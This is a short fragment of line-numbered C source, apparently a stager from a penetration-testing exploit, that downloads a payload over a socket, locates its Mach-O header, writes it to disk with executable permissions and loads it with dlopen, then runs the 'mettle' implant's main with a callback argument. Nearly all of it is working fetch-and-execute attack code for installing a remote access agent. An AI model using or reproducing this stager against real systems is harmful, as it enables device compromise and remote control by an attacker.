1335
return;
1336
}
1337
send_func(sockfd, getpayload, strlen_func(getpayload), 0);
1338
1339
unlink_func(payload_file);
1340
int payloadfd = open_func(payload_file, O_WRONLY | O_CREAT, 0700);
1341
int read_header = 0;
1342
int n;
1343
while ((n = read_func(sockfd, payload_buffer, chunk_size)) > 0) {
1344
if (!read_header) {
1345
char * payload_start = (char*)boyermoore_horspool_memmem((unsigned char*)payload_buffer, chunk_size, (unsigned char*)"\xce\xfa\xed\xfe", 4);
1346
write_func(payloadfd, payload_start, n - (payload_start - payload_buffer));
1347
read_header = 1;
1348
} else {
1349
write_func(payloadfd, payload_buffer, n);
1350
}
1351
}
1352
1353
close_func(payloadfd);
1354
close_func(sockfd);
1355
free_func(payload_buffer);
1356
1357
// Launch the payload
1358
void* libmettle = dlopen_func(payload_file, RTLD_NOW);
1359
debug_print("mettle found %p\n", (void*)(libmettle));
1360
typedef int (*main_ptr)(int argc, const char *argv[]);
1361
main_ptr main_func = dlsym_func(libmettle, "main");
1362
const char * progname = "mettle";
1363
const char * arg1 = "-u";
1364
const char * arg2 = config_placeholder+6;
1365
const char *argv[] = { progname, arg1, arg2, NULL };
1366
debug_print("main %p\n", main_func);
1367
int mainret = main_func(3, argv);
1368
debug_print("main finished %d\n", mainret);
1369
1370
}
1371
1372
1373
1374